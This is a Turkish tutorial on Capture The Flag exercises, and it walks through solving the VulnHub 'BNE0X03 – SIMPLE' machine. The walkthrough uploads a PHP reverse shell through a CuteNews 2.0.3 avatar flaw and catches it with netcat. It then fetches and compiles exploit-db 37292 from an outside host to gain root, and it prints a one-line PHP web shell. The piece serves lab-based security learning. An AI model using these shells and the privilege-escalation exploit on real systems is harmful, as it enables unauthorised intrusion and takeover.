İÇİNDEKİLER

  • Giriş
  • CTF Nedir ?
  • CTF Ortamlarının Hazırlanması
  • Örnek CTF Çözümü

GİRİŞ

Siber güvenlikte CTF yani Capture The Flag siber güvenlik ile ilgilenenler ve siber güvenliği kariyer olarak planlayan hemen herkes için önemli bir olaydır. Buradaki yazıda CTF’in ne olduğunu, CTF ortamlarının nasıl hazırlanabileceğini ve örnek bir CTF’in çözümünü bulabilirsiniz.

CTF NEDİR ?

Siber güvenlik alanında kendisini geliştirmeyi hedefleyen kişiler bir noktadan sonra öğrendikleri teknik ve teorik bilgilerin bir şekilde kullanarak pratik yapmaları gerektiklerini fark edeceklerdir. Fakat siber güvenlik alanında bir başkasına zarar vermeden, etik değerler içinde pratik yapabilecekleri bir yer olmadığının farkına varacaklar. Bu noktada araya CTF yani Capture The Flag giriyor. CTF’i Türkçeye çevirdiğimiz zaman Bayrağı Ele Geçirme anlamını elde ederiz. Siber güvenlik alanında ilk kez bir CTF ortamı DEFCON tarafından 1996 yılında oluşturulmuştur. Günümüzde CTF ortamları kişinin kendisini geliştirmesi, şirketlerin işe alımları ve siber güvenlik yarışmaları için kullanılmaktadır. CTF ortamları genellikle bir sanal makineye aktardığımız siber güvenlik laboratuvar ortamıdır. Bu sanal makineyi Hack’lemeye çalışırız ve genellikle belli yerlerde bulunan flag’leri yani metinleri bulmaya çalışırız. Genellikle bu flag’leri elde etmek için adım adım makineyi hack’lememiz gerekir. Aşağıda birkaç örnek flag bulabilirsiniz.

Örnek Flag’ler

177b3cd8562289f37382721c28381f02

d335e2d13f36558ba1e67969a1718af7

Görmüş olduğunuz gibi Flag’ler bazen anlamsız bazen de yaptığınız işlemle ilgili bir şey olabilir.

CTF ORTAMLARININ HAZIRLANMASI

CTF ortamlarını çeşitli yerlerden hazırlayabiliriz. Örneğin Tryhackme, Hackthebox gibi web siteleri üzerinden bir VPN yardımı ile hazırlamış oldukları CTF ortamlarına katılabilir ve pratik yapabiliriz. Bu yazıda ise bir sanal makine ile CTF ortamını kurmayı göstereceğim. Hazır oluşturulmuş CTF ortamını çeşitli yerlerden bulabilirsiniz örneğin Github benim tercih ettiğim yer ise VulnHub olacak. VulnHub çok geniş bir CTF koleksiyonuna sahip olup sürekli güncel tutulmaktadır. Ben bu yazıda “BNE0X03 – SIMPLE” isimli CTF ortamını indirip bunun üzerinden çözümü anlatacağım. “BNE0X03 – SIMPLE” isimli ortamı VulnHub’da arattıktan sonra indiriyoruz daha sonra da indirdiğimiz bu ortamı kullandığımız sanal makine programına import (içe aktar) etmemiz gerekiyor. İndirip import ettiğimiz sanal makinemizin ayarlarından network ayarlarını Bridged olarak seçmemiz gerekiyor. Bu sayede sanal makinemiz ile kullandığımız bilgisayar aynı ağda gözükecek. Eğer kullandığımız fiziksel bilgisayarımız üzerinden CTF çözümü yapacaksak direkt çözüm bölümünden devam edebiliriz fakat fiziksel bilgisayar yerine bir başka sanal makine ile çözümleme yapacaksak o zaman o sanal makinenin de bridged network’e bağlı olduğundan emin olmalıyız.

CTF ÇÖZÜMÜ

Öncelikle sanal makinemize import ettiğimiz CTF ortamının ip adresini bulmak ile işe başlayalım. Bunun için terminalimize “netdiscover” yazarak netdiscover aracımızı kullanıyoruz. Bu araç bizim ağımıza bağlı olan bütün cihazların ip, mac, cihaz ismi vb. özelliklerini gösterecek. Ben sanal makine ortamları için VMware programını kullanıyorum dolayısıyla netdiscover’ı kullandığım zaman CTF makinemin adının VMware ile başlayacağını biliyorum. Buradan ip adresini bulduktan sonra ilk web sitesinde bulunan klasörleri aratacağım. Bunun için de “dirb” aracını kullanacağım. Kullanımı için

dirb http://ip-adresi

dirb kısaca bir text belgesinden var olabilecek web klasör uzantı isimlerini alır ve bu text değerlerini ip adresi ile birleştirerek birer istek gönderir eğer bu isteklerden yanıt gelirse bunu ekrana yazdırır. Bu sayede girebileceğimiz klasörleri öğrenmiş oluruz.

Şimdi ise biraz web sitesinden bilgi almak amacıyla web tarayıcıma ip adresini giriyorum. Burada gözüme çarpan ilk şey “CuteNews v.2.0.3” oluyor ve internette biraz bunun araştırmasını yapıyorum. Daha sonrasında CuteNews v.2.0.3 için bir sistem açığı olduğunu öğreniyorum. Bu açık ise sistemde oluşturduğumuz bir kullanıcı için profil resmi yüklerken php uzantılı dosya yükleyebileceğimiz hakkında. Dolayısıyla sisteme bir php-shell yükleyebiliriz. Bunu yapmanın iki farklı yolu var bir tanesi shell’i web url’sinden kullanmak, diğeri ise karşıya yüklediğimiz php kodu ile bir bağlantı noktası oluşturmak ve o bağlantı noktasına bağlanarak Shell komutlarını kullanmaktır. Her iki yöntemi de göstereceğim fakat ben daha rahat olması için çözümün devamında ikinci yöntemi kullanacağım.

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

github’dan bu php kodunu kullanıyorum ve 49 ve 50 satırlardaki ip ve portları değiştiriyorum. Aslında burada portu değiştirmesek de olur çünkü 1234 portunun boş olduğunu nmap taraması yaparak görebiliriz. IP kısmına ise kendi makinemizin ip adresini giriyoruz.

Artık sistem hakkında gerekli bilgiye sahibiz, hangi açıkları kullanacağımızı ve hangi araçları kullanaraktan sistemden faydalanacağımızı biliyoruz. Şimdi ip adresini tekrardan Browser üzerinden açıyorum. Daha sonra bir kullanıcı profili oluşturuyorum ve “Personal Options” kısmından profil ayarlarına giriyorum. Burada profil resmi yükleme kısmı ile karşılaşıyorum işte hazırlamış olduğumuz php kodunu buraya yükleyeceğiz. Yükleme işlemini yaptıktan sonra “nc” aracını kullanacağız.

<nc -lvp 1234 Karşı-Makinenin-IP-Adresi>

Kısaca burada

-l         Listen mode (Dinleme Modu)

-v        Verbose (Ayrıntılar için)

-p        Port (php kodunda belirttiğimiz port)

Artık nc ile karşıdakinin bağlantısının aktif olup dinlemeye hazırız. Php Kodumuzu aktif etmek için ise dirb ile bulduğumuz

==> DIRECTORY: http://192.168.1.72/uploads/                                                                                                                 

Uzantısına gidiyorum. Burada da yüklediğimiz php koduna tıklayıp bağlantıyı aktif ediyorum.

Nc ile izlemeye hazırda bulundurduğum terminalimin çıktısı artık bu şekilde

 

┌──(root💀kali)-[/home/kali/Desktop]

└─# nc -lvp 1234 192.168.1.72

listening on [any] 1234 …

connect to [192.168.1.79] from 192.168.1.72 [192.168.1.72] 33461

Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux

 15:18:04 up 28 min,  0 users,  load average: 0.00, 0.01, 0.05

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: 0: can’t access tty; job control turned off

$

Buraya kadar iyi ilerledik fakat terminale “whoami” komutunu girersek hala root yetkisine sahip olmadığımızı görebiliriz.

$ whoami

www-data

Root yetkisi almak için biraz internette araştırma yapıyorum ve karşıma 2015-1328 numaralı exploit, exploit-db sitesinden karşıma çıkıyor. Kısaca bu exploit kodunu nc ile bağlandığımız sisteme yüklüyoruz daha sonra bu c ile yazılmış exploit’i aktif etmek için /tmp içine bu kodu indirip gcc ile compile edip çalıştırıyoruz.

$ cd /tmp

$ wget https://www.exploit-db.com/raw/37292

–2022-04-30 15:52:06–  https://www.exploit-db.com/raw/37292

Resolving www.exploit-db.com (www.exploit-db.com)… 192.124.249.13

Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443… connected.

HTTP request sent, awaiting response… 200 OK

Length: 5119 (5.0K) [text/plain]

Saving to: ‘37292’

     0K ….                                                  100%  290M=0s

2022-04-30 15:52:14 (290 MB/s) – ‘37292’ saved [5119/5119]

$ ls

37292

$ mv 37292 37292.c

$ ls

37292.c

$ gcc 37292.c -o exploit

$ ls

37292.c

exploit

$ chmod 777 exploit

$ ls

37292.c

exploit

$ ls -l

total 20

-rw-rw-rw- 1 www-data www-data  5119 Apr 30 15:52 37292.c

-rwxrwxrwx 1 www-data www-data 12189 Apr 30 15:53 exploit

$ ./exploit

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

sh: 0: can’t access tty; job control turned off

# whoami

root

#

Artık sistemde root yetkisine sahibiz. Şimdi sıra CTF’in asıl amacı olan bayrağı bulmakta. Sistem bizim root yetkisi olmadan çoğu işi yapamayacağımız şekilde tasarlandığından dolayı bayrağa bakacağım ilk yer /root klasörü olacak.

# cd /root

# ls

flag.txt

Bayrağı bulduk. Şimdi ise içini okuyup görevi tamamlayabiliriz.

# cat flag.txt

U wyn teh Interwebs!!1eleven11!!1!

Hack the planet!

Başarıyla CTF ortamımızı çözümledik. Şimdi ise önceden bahsettiğim php kodundan bahsedeceğim. Bu sefer bir bağlantı noktası oluşturmak yerine sisteme yüklediğimiz php kodunu web sitesinin url’sinden bir web Shell gibi kullanacağız. Ben bu php kodunu Grobinson.me sitesinden buldum.

<?php echo shell_exec($_GET[‘e’].’ 2>&1′); ?>”  Kodumuz bu şekilde şimdi yapmamız gereken şey bunu .php uzantısı ile kaydedip yine sisteme yüklemek olacak. Ben bu kodu avatar.php olarak kaydettim. Şimdi yine /uploads/ üzerinden bu yüklemiş olduğum kodu aktif ediyorum. An itibari ile bulunduğum adresin şu şekilde olmasını bekliyorum http://CTF-ip-adresi/uploads/avatar.php peki ben bu web shell’i nasıl kullanabilirim ?  avatar.php yazısından sonra ?e= koyuyoruz ve devamında kullanmak istediğimiz terminal komutunu yazıyoruz test etmek amacıyla http://CTF-ip-adresi/uploads/avatar.php?e=whoami bize sahip olduğumuz kullanıcı yetkisini web sitesi üzerinden ekrana yazdıracaktır.

 

KAYNAKÇA

Bahsedilen CTF ortamları

TRYHACKME – https://tryhackme.com

HACKTHEBOX – https://www.hackthebox.com/

VULNHUB – https://www.vulnhub.com

Resim – https://www.freepik.com/free-photo/medium-shot-man-holding-device_20824741.htm

 

“Cyber Security at the Ministry of Defence” by Defence Images is licensed under CC BY-NC 2.0. To view a copy of this license, visit https://creativecommons.org/licenses/by-nc/2.0/?ref=openverse.

 

Bu eser Creative Commons Atıf-AynıLisanslaPaylaş 4.0 Uluslararası Lisansı ile lisanslanmıştır.